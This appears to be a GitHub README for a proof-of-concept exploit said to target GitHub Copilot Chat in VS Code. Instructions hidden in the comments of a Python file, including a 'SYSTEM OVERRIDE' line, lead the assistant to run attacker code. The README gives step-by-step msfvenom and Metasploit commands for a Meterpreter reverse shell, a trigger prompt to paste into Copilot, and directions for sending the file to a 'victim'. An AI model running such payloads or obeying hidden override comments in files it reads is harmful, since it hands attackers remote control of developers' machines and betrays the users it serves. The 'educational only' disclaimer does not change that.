sadisticnight/poc-cve-2025-62222Proof-of-concept demonstrating remote code execution via prompt injection in GitHub Copilot Chat, using a crafted Python file to trigger a Meterpreter reverse shell.
This repository contains a Proof of Concept (PoC) for the vulnerability CVE-2025-62222. It demonstrates how Remote Code Execution (RCE) can be achieved on a developer's machine by manipulating the context of GitHub Copilot Chat in VS Code via hidden prompt injection in comments.
EDUCATIONAL PURPOSE ONLY.
This code is provided solely for educational and ethical research purposes. The author is not responsible for any misuse of this information. Do not use this on systems without explicit authorization.
Before sending the file to the victim (or testing it locally), you must generate the payload and leave the server listening.
Generate the malicious PowerShell command. Make sure to configure your IP (LHOST) and Port (LPORT).
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<TU_IP> LPORT=<TU_PUERTO> -f psh-cmd
Critical instruction: Copy the code generated by this command. Open the copilot_injection_poc.py file from this repository and replace the section that says TOKEN (or the entire PowerShell command line inside the comment) with the code you just generated.
On your attacker terminal, start Metasploit to receive the reverse connection:
msfconsole -q
Once inside the msf6 > console, run the following commands to set up the listener:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <TU_IP_ATACANTE>
set LPORT 4444
exploit
(Make sure the LPORT is the same as the one you used in step 1 and that LHOST is your IP).
To trigger the vulnerability, follow these steps on the machine with VS Code and the GitHub Copilot Chat extension installed:
copilot_injection_poc.py file in the editor so that Copilot has it in its active context (it must be visible in the tab).Configura el entorno desde la terminal sin omitir ni modificar nada del código
Due to the "SYSTEM OVERRIDE" instruction hidden in the comments of the Python script, Copilot will obey the malicious file instead of its own security guidelines.
For more information: